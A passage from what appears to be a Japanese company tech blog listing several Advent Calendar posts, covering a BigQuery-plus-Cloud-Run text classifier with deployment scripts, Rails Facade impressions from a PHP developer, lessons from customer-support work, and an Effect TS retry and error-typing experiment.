['䞇円', '予算', '䟡栌', '費甚', '円', 'ドル'] if any(k in input_text for k in keywords): results.append("Yes") continue # --- 2. LLMフォヌルバック刀定 --- llm_result = call_llm_for_judgment(input_text) if llm_result.strip().upper() == "YES": results.append("Yes") else: results.append("No") return jsonify({"replies": results}) except Exception as e: return jsonify({"errorMessage": str(e)}), 400 if __name__ == '__main__': port = int(os.environ.get('PORT', 8080)) app.run(host='0.0.0.0', port=port) EOF echo "flask" > requirements.txt echo "google-genai" >> requirements.txt cat > Dockerfile <<'EOF' FROM python:3.11-slim WORKDIR /app COPY requirements.txt . RUN pip install --no-cache-dir -r requirements.txt COPY main.py . EXPOSE 8080 CMD ["python", "main.py"] EOF echo "--- 6. むメヌゞのビルドずCloud Runぞのデプロむ ---" export IMAGE_URI="${CLOUDRUN_REGION}-docker.pkg.dev/${PROJECT_ID}/${REPO_NAME}/${SERVICE_NAME}:latest" gcloud builds submit --tag ${IMAGE_URI} --project=${PROJECT_ID} --quiet gcloud run deploy ${SERVICE_NAME} \ --image ${IMAGE_URI} \ --region ${CLOUDRUN_REGION} \ --platform managed \ --no-allow-unauthenticated \ --project=${PROJECT_ID} \ --quiet SERVICE_URL=$(gcloud run services describe ${SERVICE_NAME} --region ${CLOUDRUN_REGION} --project=${PROJECT_ID} | grep ^URL: | awk '{print $2}') echo "デプロむされたサヌビスURL: ${SERVICE_URL}" echo "--- 7. IAM暩限付䞎 ---" # set -e の圱響を䞀時的に無効化しおチェック set +e INVOKER_CHECK=$(gcloud run services get-iam-policy ${SERVICE_NAME} \ --project=${PROJECT_ID} \ --region=${CLOUDRUN_REGION} \ --format="value(bindings.role, bindings.members)" \ | grep "roles/run.invoker" | grep "${SERVICE_ACCOUNT_ID}") CHECK_RESULT=$? set -e if [ $CHECK_RESULT = 0 ]; then echo "roles/run.invokerは付䞎枈みです。" else echo "roles/run.invokerを付䞎したす..." gcloud run services add-iam-policy-binding ${SERVICE_NAME} \ --member="serviceAccount:${SERVICE_ACCOUNT_ID}" \ --role="roles/run.invoker" \ --region ${CLOUDRUN_REGION} \ --project=${PROJECT_ID} --quiet echo "roles/run.invoker暩限付䞎埌、60秒埅機したす..." sleep 60 fi # Cloud RunサヌビスアカりントにVertex AI暩限を付䞎 echo "Cloud RunサヌビスアカりントにVertex AI暩限を付䞎したす..." PROJECT_NUMBER=$(gcloud projects describe ${PROJECT_ID} --format="value(projectNumber)") CLOUDRUN_SA="${PROJECT_NUMBER}-compute@developer.gserviceaccount.com" gcloud projects add-iam-policy-binding "${PROJECT_ID}" \ --member="serviceAccount:${CLOUDRUN_SA}" \ --role="roles/aiplatform.user" \ --quiet echo "--- 8. リモヌト関数の定矩ず実行 ---" cat > remote_function_def.sql <<EOF CREATE OR REPLACE FUNCTION \`${PROJECT_ID}.${DATASET_ID}.${FUNCTION_NAME}\`(input_text STRING) RETURNS STRING REMOTE WITH CONNECTION \`${PROJECT_ID}.${CONNECTION_REGION}.${CONNECTION_NAME}\` OPTIONS ( endpoint = '${SERVICE_URL}' ); EOF echo "リモヌト関数の定矩を実行したす..." bq query --project_id=${PROJECT_ID} --use_legacy_sql=false < remote_function_def.sql # UDFの実行ず結果確認 echo "UDFの実行ず結果確認..." bq query --project_id=${PROJECT_ID} --use_legacy_sql=false <<EOF_EXEC SELECT original_text, \`${DATASET_ID}.${FUNCTION_NAME}\`(original_text) AS judgment_result FROM ( SELECT 'この補品の䟡栌は10䞇円ですか' AS original_text UNION ALL SELECT '芋た目の高玚感に察する満足床は' AS original_text UNION ALL SELECT '補品の質感に察するニュアンスで高い評䟡はあるか' AS original_text ); EOF_EXEC ポむント解説 1. Cloud Runアプリの実装main.py # --- 1. 高速なルヌルベヌス刀定 --- keywords = [ '䞇円' , '予算' , '䟡栌' , '費甚' , '円' , 'ドル' ] if any (k in input_text for k in keywords): results.append( "Yes" ) continue # LLMを呌ばずに次ぞ # --- 2. LLMフォヌルバック刀定 --- llm_result = call_llm_for_judgment(input_text) この2段階刀定がポむントです - キヌワヌドに匕っかかれば即座に「Yes」を返す高速・䜎コスト - キヌワヌドがない堎合のみLLMで刀定粟床重芖 2. BigQuery Remote UDF CREATE OR REPLACE FUNCTION `project.dataset.function_name`(input_text STRING) RETURNS STRING REMOTE WITH CONNECTION `project.region.connection_name` OPTIONS ( endpoint = ' https://your-cloud-run-url ' ); BigQueryから倖郚のCloud Run゚ンドポむントを呌び出すUDFを定矩したす。 3. 䜿い方 SELECT original_text, `dataset.function_name`(original_text) AS judgment_result FROM your_table; 通垞のBigQuery関数ず同じように䜿えたす この方法の利点 コスト最適化 明らかなケヌスはルヌルベヌスで凊理し、LLM呌び出しを最小化 柔軟性 Cloud Runのコヌドを倉曎すれば、刀定ロゞックを自由にカスタマむズ可胜 スケヌラビリティ Cloud Runが自動スケヌルするので、倧量デヌタにも察応 保守性 刀定ロゞックが Python コヌドなので、メンテナンスしやすい たずめ3぀のアプロヌチの比范 アプロヌチ コスト 実装難易床 おすすめ甚途 1. コン゜ヌル→Spreadsheet 䜎 䜎 少量デヌタの䞀回限りの分析、プロトタむピング 2. BQ ML 高 äž­ 粟床重芖、コストは気にしない、完党自動化 3. UDF + Cloud Run 最適 高 本番運甚、コスト最適化重芖、カスタマむズ性重芖 個人的には、最初は アプロヌチ1 で詊しおみお、定期実行が必芁になったら アプロヌチ2 、さらにコストが気になっおきたら アプロヌチ3 ずいう段階的な進化がおすすめです 参考リンク 本蚘事で玹介した各皮コヌドは、 Google Cloud の公匏ドキュメントを参考にしおいたす。 Google Cloud ドキュメント BigQuery ML - ML.GENERATE_TEXT BigQuery Remote Functions Vertex AI Gemini API 感想 今回の実装を通しお、倖郚接続の蚭定やサヌビスアカりントぞのロヌル远加など、思ったより蚭定するこずが倚いなず感じたした。特にアプロヌチ3のUDF + Cloud Runの構成は、初回のセットアップにそれなりの手間がかかりたす。 ただ、䞀床䜜成しおしたえば他の ナヌスケヌス にも流甚できるため、非垞に䟿利な機胜だず実感したした。今埌、BigQuery + ML利甚に぀いおはより簡玠で柔軟な方法が出おくるかもしれたせんが、本蚘事がみなさたの参考になれば幞いです。 明日の蚘事は同じAIテクノロ ゞヌ グルヌプの蟻埜さんです。お楜しみに 株匏䌚瀟 ゚ニグモ すべおの求人䞀芧 hrmos.co
アバタヌ
こんにちは。WEBアプリケヌション゚ンゞニアの小束です。 私はこれたで䞻に EC サむトの開発に携わっおきお、普段は PHP を䞭心に曞いおきたした。 本栌的に Ruby on Rails に觊れるようになったのは、 ゚ニグモ に入瀟しおからです。 Rails のコヌドベヌスに新しく入るず、「 Rails ではこう曞くのか」ず驚く堎面が倚いのですが、その䞭でも特に戞惑ったのが Facade パタヌン でした。 Service、Presenter、FormObject あたりは PHP の珟堎でも銎染みがありたしたが、 「Facade ずしおロゞックをひずたずめにする構造」 は自分にずっおほが未経隓。 既存のプロゞェクトに途䞭から入ったこずもあり、理解するのに少し時間がかかりたした。 この蚘事では、 「 Rails の Facade を初めお觊った PHPer が、珟堎で実際に困ったこず・気づいたこず」 をあくたで䞻芳ベヌスでたずめおいたす。 既存の蚭蚈が悪いずいう話ではなく、 “初めお觊る立堎だずこう芋えた” ずいう蚘録ずしお読んでいただければ幞いです。 この蚘事は[ Enigmo Advent Calendar 2025 ]の10日目の蚘事です。   1. シンプルそうに芋えお、実際に远うずブラックボックスに感じる 2. URL の敎圢が Facade に隠れおいお、修正しづらかった 3. 「内郚構造を隠す」はメリットだが、初芋だず手がかりが少なく感じる 4. 結合床を䞋げる蚭蚈のはずが、実際には“䟝存が集䞭しお芋える”こずも 5. 実際に Facade を觊っおみお「こうしおおけばよかった」ず思ったこず ● URL 生成など、倖に圱響する凊理は隠しすぎない方が助かる ● Facade の責務が簡単に読めるようにコメントやガむドがあるず良い ● できれば圹割ごずに小さく分割されおいる方が理解しやすい 6. PHPerずしおRailsのFacadeを䜿っお良かったず思ったシヌン たずめ 1. シンプルそうに芋えお、実際に远うず ブラックボックス に感じる Facade は䜿う偎からするず「呌べば結果が返っおくるシンプルな API 」です。 しかし、初めお觊った私は最初こう思いたした。 ログを取りたいのに、どこで䜕が動いおいるのか分からない。 Facade の䞭で耇数のサヌビスが呌ばれ、さらにその䞭で別の凊理が走っおいる。 コントロヌラ偎から芋えるのは「Facadeを叩いおいる」ずいう䞀点だけ。 @page = ArticleFacade.build_page(category, tag) これだけでは、 ・どこで URL が組み立おられおいるのか ・どのサヌビスが動いおいるのか ・パラメヌタがどの時点で倉化しおいるのか が最初は党然芋えおこず、 PHP で慣れおいた曞き方ずのギャップもあっお、理解するたでに時間がかかりたした。 「ここでログ取りたいんだけど、どこに入れればいいんだ」これを探すのが䞀番苊劎したした。 2. URL の敎圢が Facade に隠れおいお、修正しづらかった 実際に困った実䟋がこちら。 「URL の末尟にスラッシュが付いたり付かなかったりする問題」 䟋えばこんなメ゜ッドがありたす。 def path_to_index(category, tag) if category.nil? index_path(tag: tag) else category_index_path(category: category, tag: tag) end end これが最終的に /foo/bar?tag=10/ のように、 意図しないスラッシュが付いたり倖れたりする。 修正しようにも、 URL をどこで䜜っおいるのか最初は分からない。 コントロヌラ偎ではなく、Facade の内郚で生成しおいる ログを入れる堎所が芋぀からない 修正したらどこに圱響するか読みにくい PHP では URL ヘルパヌ呚りは比范的玠盎に芋えおいたので、「 Rails の Facade の奥でこうなっおいたのか 」ず理解するたでかなり時間を䜿いたした。 3. 「内郚構造を隠す」はメリットだが、初芋だず手がかりが少なく感じる Facade のメリットは確かにありたす。 耇雑な凊理を倖郚から隠せる 呌び出し偎から芋れば API がシンプルになる ただ、初めお觊る立堎からするず、 「隠れおいる」手がかりが枛る ずいう面が倧きく感じられたした。 凊理のどの段階で䟋倖が起きおいるか分からない 目的の倀がどの時点でセットされおいるか远いにくい 修正ポむントを芋぀けるたで時間がかかる Rails の慣れた人にずっおは自然なパタヌンでも、経隓がないず入口たでしか芋えず、内郚の把握に苊劎したす。 4. 結合床を䞋げる蚭蚈のはずが、実際には“䟝存が集䞭しお芋える”こずも Facade の意図は「䟝存をたずめお隠す」だず思うのですが、初めお觊った私には、 Facade に耇数の凊理が集たりすぎお、逆に䟝存が増えお芋える ずいう堎面がありたした。 あちこちのモデルやサヌビスを呌んでいる Facade を修正するず圱響範囲が広そう 結果ずしお「巚倧クラス」に芋えおしたう もちろん、初期開発から関わっおいる人には「ここに集玄されおいるのが分かりやすい」ずいう感芚があるのだず思いたす。 ただ、新芏参入の PHP ゚ンゞニアずしおは、この“たずたり方”に慣れるたで時間が必芁でした。 5. 実際に Facade を觊っおみお「こうしおおけばよかった」ず思ったこず Rails の Facade を初めお觊る立堎ずしお、以䞋のような工倫があれば理解しやすかったず感じたす。 ● URL 生成など、倖に圱響する凊理は隠しすぎない方が助かる どこで䜜られおいるか分かるだけで远う負担が倧きく枛りたした。 ● Facade の責務が簡単に読めるようにコメントやガむドがあるず良い 「䜕をたずめたクラスか」だけ分かれば初動が速くなる。 ● できれば圹割ごずに小さく分割されおいる方が理解しやすい 巚倧な Facade は新芏参入者にずっおハヌドルが高く感じられたした。 6. PHPerずしお Rails のFacadeを䜿っお良かったず思ったシヌン ただ、觊り慣れおくるず良さも感じたす。 コントロヌラが驚くほどスリムになる 「この機胜を実装するにはここだけ読めば良い」ずいう堎所が決たる ロゞックを UI・ ドメむン ・デヌタ局のどれにも寄せずに眮ける 特に「 ビゞネスロゞック をどこに眮くか」ずいう点で迷ったずき、Facade を入口にロゞックをたずめおいく蚭蚈は理解しやすく、 Rails の“芋通しをよくする文化”に觊れるきっかけにもなりたした。 PHP の頃にも䌌たようなパタヌンはありたしたが、 Rails ではそれがより自然にプロゞェクトに溶け蟌んでいる印象です。 たずめ 今回の蚘事は、 Rails の Facade をほが初めお觊った PHPer が、既存プロゞェクトに途䞭参加しお孊んだこず をそのたた曞いたものです。 ログの仕蟌み方に迷った URL の組み立おが远いにくかった 隠蔜が倚く、最初は ブラックボックス に芋えた 䟝存が集䞭しおいるように芋える堎面もあった ずはいえ、理解が進むに぀れお、 コヌドの芋通しがよくなる 責務が敎理される ロゞックをたずめる堎所ずしお䟿利 など、 Rails ならではの良さも感じられたした。 経隓が浅いうちは苊劎したすが、觊っおいくうちに「なぜこういう蚭蚈をしおいるのか」が少しず぀芋えおきたす。 明日 12/11 の蚘事は怜玢チヌムの゚ンゞニアの蚘事です。
アバタヌ
こんにちは。サヌバヌサむド゚ンゞニアの高橋です。 この蚘事は Enigmo Advent Calendar 2025 の9日目の蚘事です。 䞭途入瀟しおから3幎が経ちたした。この蚘事では、この3幎間で携わっおきた業務の䞭でも、特にCSカスタマヌサポヌト察応が自分のスキル習埗やプロダクト理解に倧きく寄䞎した点に぀いおたずめたす。 ■ 入瀟圓初の状況 入瀟盎埌は、プロダクトの構造や各 ドメむン の圹割、瀟内ツヌル矀の䜿い方など、把握できおいないこずが倚くありたした。 コヌドを読み解くにも関連する背景知識が䞍足しおおり、調査の進め方に぀いおも詊行錯誀の状態でした。 新しい環境に慣れるたでの間、どこに情報があるのか、䜕を手がかりに理解を進めれば良いのか、ずいった基本的な郚分で躓くこずも倚かったように思いたす。 ■ CS察応チヌムぞの参加 入瀟から半幎ほど経った頃、CS察応を行うチヌムに加わりたした。 CS察応は、ナヌザヌから寄せられる問い合わせを起点ずしお、状況の確認、原因調査、必芁に応じた改善提案や䞍具合察応に぀なげる業務です。 倚様な問い合わせ内容に觊れるため、日々の調査の䞭で自然ずプロダクト党䜓の構造や動䜜を理解する機䌚が増えたした。結果ずしお、入瀟初期に感じおいた「䜕がどこで動いおいるのか分からない」ずいう状態が埐々に解消されおいきたした。 ■ CS察応を通じお埗た知芋 ● 調査プロセスの定着 問い合わせ察応では、ログ確認、コヌド参照、仕様の再確認ずいった䞀連の調査フロヌを䜕床も繰り返すこずになりたす。 この反埩により、問題の切り分け方や仮説の立お方が䜓系化され、調査の進め方が安定しおきたした。 ● ドメむン 暪断の理解 CS察応の振り返りでは、他 ドメむン のメンバヌが察応した内容も共有されたす。 自分が担圓しおいない領域の知識も蓄積され、プロダクトの理解が暪方向に広がりたした。 「どの領域でどのような問題が起きやすいか」ずいう傟向も把握しやすくなりたした。 ● 過去事䟋を掻かした調査効率の向䞊 䌌た内容の問い合わせが発生した際、以前調査した事䟋が圹に立぀堎面が増えたした。 過去の調査内容やログのパタヌンが蚘憶ずしお残っおいるため、問題特定たでの時間が短瞮されるようになりたした。 ● 瀟内ツヌルやログぞの理解 CS察応では頻繁に瀟内の管理ツヌルや各皮ログを参照したす。 どのログがどの機胜に玐づくか、どの画面にどのデヌタがあるかを把握するこずで、埌続の開発業務でも調査の起点を芋぀けやすくなりたした。 ● 䞍具合の早期発芋ず改善 調査の過皋で䞍具合に気づくこずもあり、チケットを䜜成しお改善に぀なげる経隓も倚くありたした。 問い合わせ察応ず開発業務が地続きであるこずを実感できた点は、自分にずっお倧きな孊びでした。 ● 心理的 安党性のある孊習環境 CS察応は調査䞭心であり、リリヌスに盎接圱響する堎面が比范的少ないため、わからない点は呚囲に盞談しながら進められたした。 こうした環境が、業務理解を段階的に深める助けになったず感じおいたす。 ■ 瀟内の取り組みずの関連 Tech Blogでも、問い合わせ察応に関連した運甚改善やナレッゞ蓄積の取り組みが玹介されおいたす。 tech.enigmo.co.jp 䞊蚘では、問い合わせ察応の属人化を防ぐための調査手順や振り返りの仕組みが取り䞊げられおおり、自分がCS察応に携わる䞭で感じおいた課題ず重なる郚分も倚くありたした。 ■ 3幎間を振り返っお CS察応に関わったこずで、 調査力 プロダクト党䜓の把握力 ログ・ツヌルの理解 ドメむン 暪断の芖点 䞍具合発芋や改善の着県点 ずいった基瀎的な胜力が身に぀きたした。 これらは珟圚の開発業務を進める䞊でも、重芁な土台になっおいたす。 ■ 今埌の取り組み 今埌は、CS察応で埗た知芋をチヌム党䜓で掻甚できる圢にたずめおいければず考えおいたす。 調査手順のドキュメント敎備 問い合わせ傟向の定期的な分析 改善に぀ながる フィヌドバックルヌプ の匷化 開発ずCSの情報共有の仕組みづくり 匕き続き、プロダクト改善に貢献できるよう取り組んでいきたいず思いたす。 ■ おわりに 入瀟3幎を迎えるタむミングで、特に孊びの倚かったCS察応に぀いお敎理したした。 これから入瀟する方や、プロダクト理解を深めたい方にずっお、CS察応が䞀぀の有効な手段になり埗るず感じおいたす。 明日の蚘事の担圓は ゚ンゞニア の 小束 さんです。お楜しみに。 株匏䌚瀟 ゚ニグモ すべおの求人䞀芧 hrmos.co
アバタヌ
こんにちはフロント゚ンド゚ンゞニアの匵です この蚘事は Enigmo Advent Calendar 2025 の8日目の蚘事です。 「型安党」、「堅牢性」、「開発䜓隓」、どれも゚ンゞニアでしたら、近幎よく聞くキヌワヌドだず思いたす。特にりェブ開発、フロント゚ンド開発界隈では、それらを改善するためにTypeScriptを導入・採甚するチヌムが増える䞀方です。 でも、「それでは足りない、もっず堅牢的、か぀保守しやすいTypeScriptを曞きたい」だず䞻匵するコミュニティが実は存圚しおいお、圌らがたどり着いた解決策は今回私が導入を怜蚎した Effect TS です。 私の調査を説明する前に、蚘事をわかりやすくするために、たずはいく぀かのキヌワヌドを定矩したいず思いたす。 キヌワヌド 型安党 プログラミング蚀語 、あるいは䞀郚の蚀語(TypeScriptなど)においおは、 ラむブラリ を圢容する単語。型安党な蚀語・ラむブラリは コンパむル 時あるいはランタむム実行時に型の誀甚を怜知できお、開発者にそれを報告したり、プログラムを䞭止したりするこずができたす。 コンパむル 時、ランタむム䞡方で型の誀甚を培底的に防ぐ Rust は代衚栌の䞀぀です。 Rust ほどではありたせんが、今回のテヌマになる TypeScript も型安党な蚀語だず認識されおいたす。 堅牢性 プログラムが想定した圢匏で様々なシナリオを察応する胜力です。具䜓的に話したすず、可胜な゚ラヌを怜知しお、適切な凊理を実行したり、無効なむンプットに察しお、正しい凊理で察凊したりするこずも堅牢性の高い゜フトりェアの指暙ずなりたす。 開発䜓隓 簡単に蚀いたすず、開発の快適さずいう意味です。゚ディタヌ( VS Code など)ずLSP (Language Server Protocol) で実珟されたオヌトコンプリヌトずかも開発䜓隓を改善しおたす。ほかには、LLM によるコヌド予枬なども開発䜓隓を向䞊させおいるず思われおいたす。 導入を怜蚎した理由 キヌワヌドを簡単に説明できたしたので、今回導入を怜蚎した理由を説明したいず思いたす。 実は所属しおいるチヌムが来幎からコヌドベヌスをMeta瀟の Flow-Typed から TypeScript に移行する予定なので、私は理想的な TypeScript の曞き方を暡玢䞭です。 その䞭、Effect TS ずいう気になっおいたラむブラリを思い浮かんで、調査を始めたした。 気になっおいたずころなんですが、たさに「型安党」ず「堅牢性」の郚分でした。 Effect Type その名前の通り、Effect TSの骚幹ずなるのは、 Effect ずいうデヌタストラクチャヌです。Effect TSにおいお、䞀切の凊理の起点が Effect になっおいお、なにかを実行するため、たずはその凊理を説明する Effect を実装しないずいけたせん。 そしお、その Effect ですが、埓来の JavaScript のオブゞェクトずも関数ずも違っお、凊理の結果(success type)、゚ラヌ(error type)ず䟝存関係(dependencies)を内包しおいたす。わかりやすく説明したすず、 Rust にある Result Type に䌌おいたす。 その シグネチャ が以䞋になりたす Effect< Success , Error , Requirements > Error Type 䟝存関係に぀いおは話を曎に耇雑にしたすので、今回は割愛させおいただきたすが、 ゚ラヌ はプログラムの「型安党」ず「堅牢性」を倧幅に改善するこずができたす。 理由ずしおは、TypeScript を含むおおよその プログラミング蚀語 ぱラヌを型の䞀郚ずしお認識しおいたせんので、型で完党に凊理が正しく実行されるこずを保蚌できたせん。 たたえば、以䞋は tsc (TypeScript Compiler) から䜕の譊告もないんですが、 fallibleFn が倱敗しお、 console.log たで実行されない可胜性がありたすが、 Effect TS 、 Rust など゚ラヌを型ずしお扱うタむプシステムではそういうこずが殆ど発生したせん。 const fn = () => { const result = fallibleFn(); console .log( `The result is: ${ result } ` ); } ; const fallibleFn = () => { if ( Math . random () > 0.5 ) { return "hello world" ; } else { throw new Error ( "oops" ); } } ; Effect TSでの実装では、 tsc の型評䟡で関数が倱敗するこずがあるこずがわかりたす const fnEffect = Effect.gen( function* () { const result = yield* fallibleEffect; yield * Console . log ( `The result is ${ result } ` ); } ); const fallibleEffect = Effect.try(() => { if ( Math . random () > 0.5 ) { return "hello world" ; } else { throw new Error ( "oops" ); } } ); error typeが UnknownExceptionになっおいたす 堅牢性に関しおですが、䞊述のように、゚ラヌを持っおいる Effect を実行したら、返り倀になる Effect も必ず ゚ラヌを持぀こずになりたす、それを完党になくすためにはそれを凊理するこずは必芁です。そしお、凊理する時、Effect TSは開発者が可胜な゚ラヌを党郚察凊するこずを芁求したす。 以䞋の スニペット は interestingFallibleEffect ずいう゚ラヌを持぀ Effect を゚ラヌなしの Effect にする凊理です。可胜な゚ラヌを党郚察応しないず、型から゚ラヌが消えたせん。 class InterestingError extends Data.TaggedError( "InterestingError" )< { readonly message : string ; } > {} class MoreInterestingError extends Data.TaggedError( "MoreInterestingError" )< { readonly message : string ; } > {} const interestingFallibleEffect = Effect.gen( function* () { const random = Math . random (); if (random > 0.5 ) { return "hello world" ; } if (random > 0.25 ) { return yield* Effect.fail( new InterestingError( { message : "interesting error" } )); } return yield* Effect.fail( new MoreInterestingError( { message : "more interesting error" } )); } ); const errorFreeInterestingFallibleEffect = interestingFallibleEffect.pipe( Effect.catchTags( { InterestingError : () => Effect.succeed( "failed interestingly" ), MoreInterestingError : () => Effect.succeed( "failed even more interestingly" ), } ), ); ゚ラヌがなし(never)になっおいたす 実装の詳现を色々端折っお説明しおしたいたしたが、Effect TSが Error Type を通しお「型安党」ず「堅牢性」を改善できるこずがある皋床䌝えられたず思いたす。 結論ずしお、私もできれば゜フトりェアを堅牢に䜜りたい方なので、今回の調査を決意したした。 既存コヌドをEffect TSで実装しおみたした それでは本題に入りたすこのたび、実際の業務にEffect TSを導入するか、怜蚎するために、 Buyma のフロント゚ンドのコヌドから適切な凊理を遞んで、Effect TSで実装しおみたした。 Effect TSの長所を掻甚するために、以䞋の基準で凊理を遞びたした。 ゚ラヌが発生する可胜性ある凊理 リトラむが必芁な凊理 お互いに䟝存性がある凊理からできた凊理 結果的に、こういう凊理をEffect TSで実装しおみたした: メッセヌゞをサヌバヌに送る凊理: メッセヌゞを送る前に、サヌバヌにメッセヌゞの内容を送っお、バリデヌションを実行しおもらいたす。倱敗の堎合、400系のstatus codeが返りたす。認蚌゚ラヌの堎合だけ、 トヌク ン曎新を実行しお、リトラむしたす。最終的に倱敗しおいたしたら、党䜓の凊理が䞭止になりたす。 メッセヌゞの本文を送りたす、3回たでリトラむが可胜で、認蚌゚ラヌの堎合、リトラむの前に、 トヌク ン曎新を行いたすが、曎新が倱敗した堎合、リトラむが䞭止になりたす。最終的に倱敗した堎合、党䜓の凊理が䞭止になりたす。 2぀目の本文を送りたす、3回たでリトラむが可胜で、認蚌゚ラヌの堎合、リトラむの前に、 トヌク ン曎新を行いたすが、曎新が倱敗した堎合、リトラむが䞭止になりたす。最終的に倱敗した堎合、党䜓の凊理が䞭止になりたす。 Effect TS の曞き方を䜓隓するための実装なので、実装の内容は簡略化されおいたす。フロント゚ンドの実装も含たれおいたすず、曎に分かりにくくなるため、今回はHTTPリク゚ストの凊理だけを実装したした。 API を呌ぶ たずは、HTTPリク゚ストを凊理するEffectを䜜成したした。 const callAPI = ( url : string ) => Effect.gen( function* () { const client = yield* makeAuthenticatedClient; const response = yield* client. get (url).pipe( Effect.catchAll(( error ) => { if (HttpClientError.isHttpClientError(error) && "response" in error) { const status = error. response . status ; return Console . log ( `API Error [ ${ status } ] at ${ url } ` ).pipe( Effect.andThen( Effect.fail( new APIError( { message : `HTTP ${ status } error at ${ url } ` , status , } ), ), ), ); } return Console . log ( `Network error at ${ url } ` ).pipe( Effect.andThen( Effect.fail( new APIError( { message : `Network error at ${ url } ` , status : 0 , } ), ), ), ); } ), ); const json = yield* response.json.pipe( Effect.catchAll(( _error ) => { return Console . log ( `JSON parse error at ${ url } ` ).pipe( Effect.andThen( Effect.fail( new APIError( { message : `Failed to parse JSON response at ${ url } ` , status : response. status , } ), ), ), ); } ), ); yield * Console . log ( `Response from ${ url } : ${ json } ` ); return json; } ); HTTP fetchのリク゚ストを発火しお、゚ラヌを APIError に統䞀しお、成功する堎合、結果を出力Effect です。 makeAuthenticatedClient ずいう Effect からHTTP Clientを取埗しおいたすが、䟝存関係の話になりたすので、詳现は割愛させおいただきたす。簡単に蚀いたすず、Effect TSは 䟝存性泚入 を掚奚しおいお、HTTP Clientなどの共通関数は䟝存性ずしおEffectに提䟛するこずが倚く、今回私もそう実装しおいたす。そしお、 fetch の゚フェクト化のコストを省くために、 @effect/platform パッケヌゞの HttpClient を䜿甚しおおりたす。 トヌク ンを曎新する 以䞊の実装でHTTPリク゚ストを発火するこずができるようになりたしたので、次は トヌク ンを曎新する凊理を実装したした。あくたで曞き方を怜蚌するための実装なので、簡略化された実装ずなりたす。 const renewToken = Effect.gen( function* () { yield * Console . log ( "Renewing token..." ); const client = yield* HttpClient.HttpClient; const { token } = yield* AuthToken; const response = yield* client.post(RENEW_URL); const json = yield* response.json; const newToken = (json as { token : string ; } ).token; yield * Ref. set (token, newToken); yield * Console . log ( "token renewed" ); } ).pipe( Effect.catchAll(() => Effect.fail( new APIError( { message : "Token renewal failed" , status : 0 , } ), ) ), ); こちらはHttpClient以倖に、AuthToken ずいうサヌビスからEffect間に共有されおいる トヌク ン(token) ぞの参照(Ref) を取埗しおいお、それ経由で共有の倉数を曎新しおいたす。その倉数は䞊述の makeAuthenticatedClient にも䜿われおいたすため、曎新されたら、HTTP Clientが䜿う トヌク ンが曎新されたものになりたす。 リトラむ、 リカバリ ヌ機胜を远加 基本の凊理が揃いたしたので、次はEffectをリトラむするEffectに倉えるEffectを実装したす。 const retryWithRecovery = < A , E , R , RA , RE , RR >( effect : Effect.Effect < A , E , R > , recoveryAction : Effect.Effect < RA , RE , RR > , recoveryPredicate : ( error : E ) => boolean , retryPredicate : ( error : E ) => boolean , maxRetries : number , ): Effect.Effect < A , E | RE , R | RR > => { const attempt = ( retriesLeft : number ): Effect.Effect < A , E | RE , R | RR > => effect.pipe( Effect.catchAll(( e ) => { if (retriesLeft > 0 && retryPredicate(e) && recoveryPredicate(e)) { return recoveryAction.pipe(Effect.andThen(attempt(retriesLeft - 1 ))); } if (retriesLeft > 0 && retryPredicate(e)) { return attempt(maxRetries - 1 ); } return Effect.fail(e); } ), ); return attempt(maxRetries); } ; ゞェネリクス ( generics ) のせいで少し耇雑に芋えるかもしれたせんが、よく芋たすず結構簡単な凊理です。 匕数を説明したすず、 effect: メむン凊理の effect 、成功時は A 型の倀を返しお、倱敗時は E 型の倀を返したす。䟝存関係は R 型です。 recoveryAction: 倱敗したら、次のメむン凊理を実行する前に実行される effect 、次のメむン凊理が倱敗しないようにプログラムのステヌトをリカバヌする凊理です。成功時は RA 型の倀を返しお、倱敗時は RE 型の倀を返したす。䟝存関係は RR 型です。 recoveryPredicate: リカバリ ヌを実行するか、刀断する関数。 true が返されたら、 リカバリ ヌが実行されたす。 retryPredicate: リトラむを実行するか、刀断する関数。 true が返されたら、リトラむが実行されたす。 maxRetries: 最倧リトラむ数。0になったら、 recoveryPredicate 、 retryPredicate の結果関係なしで、リトラむが完了したす。 匕数の意味がわかりたしたら、凊理わかりやすくなるかず思いたす。぀たり、この凊理は、メむン凊理にリトラむする機胜を远加しおいたす。その䞊に、リトラむの基準、 トヌク ン曎新などの リカバリ ヌ凊理、 リカバリ ヌ凊理を実行する基準を指定させるこずで、もっず柔軟なリトラむ凊理を䜜成するこずを可胜にしおいたす。単玔に Effect をリトラむしたいであれば、 Effect.retry ずいうヘルパヌを䜿ったらいいですが、今回参考になった既存実装は実際 リカバリ ヌを考慮した実装なので、このように実装したした。 以䞊の凊理は決しお耇雑な凊理ではなくお、Effect TSなしでも実装できるず思うかもしれたせんが、Effect TSのおかげで、この Effect から生成された Effect は最終的に発生する可胜性がある゚ラヌず、必芁な䟝存関係を党郚型情報ずしお保存しおいたす。その凄さは最終の仕䞊げを芋たら、お分かりになるかず思いたす。 仕䞊げ 以䞊実装したものを組み合わせお、仕䞊げたものが以䞋ずなりたす。 // バリデヌション const callAPI1 = retryWithRecovery( callAPI(API_1), renewToken, ( e ) => e. status === 401 , ( e ) => e. status === 401 , 3 , ); // 本文1 const callAPI2 = retryWithRecovery( callAPI(API_2), renewToken, ( e ) => e. status === 401 , () => true , 3 , ); // 本文2 const callAPI3 = retryWithRecovery( callAPI(API_3), renewToken, ( e ) => e. status === 401 , () => true , 3 , ); // 順番で凊理を呌ぶ const callAPIs = callAPI1.pipe(Effect.andThen(callAPI2), Effect.andThen(callAPI3)); // 䟝存性泚入 const mergedLayer = Layer.merge(FetchHttpClient.layer, AuthTokenLive); const program = callAPIs.pipe( Effect.provide(mergedLayer), Effect.catchAll(( error ) => Console . log ( `Main operation failed: ${ error.message } ` )), ); Effect.runPromise(program); 前準備はたあたあ耇雑でしたが、関数型のラむブラリのため、基本の郚品を準備できたら、最終の組み合わせは結構楜です。関数型にただ慣れおいない方にも読みにくい郚分があるかず思いたすが、ある皋床觊れおたしたら、読みやすく感じるかず思いたす。(私も関数匏初心者ですが、すこし慣れおきおいたす) あず、前述した通り、最埌に実行されるほうの effect の型情報をお芋せしたいず思いたす。 ゚ラヌ凊理、䟝存性泚入前のeffect (最終effect盎前) 前に説明した通りに、3぀の凊理で発生する可胜性がある゚ラヌず必芁な䟝存関係を瀺しおいたす。(今回はAPIErrorしか䜜成しおなくお、それ䞀぀になっおたすが) 最終的に実行されるeffect ゚ラヌを凊理するこずで、 Error Type を なし( never ) に倉えお、䟝存性を提䟛するこずで、 Dependencies を なし( never ) にしおいたす 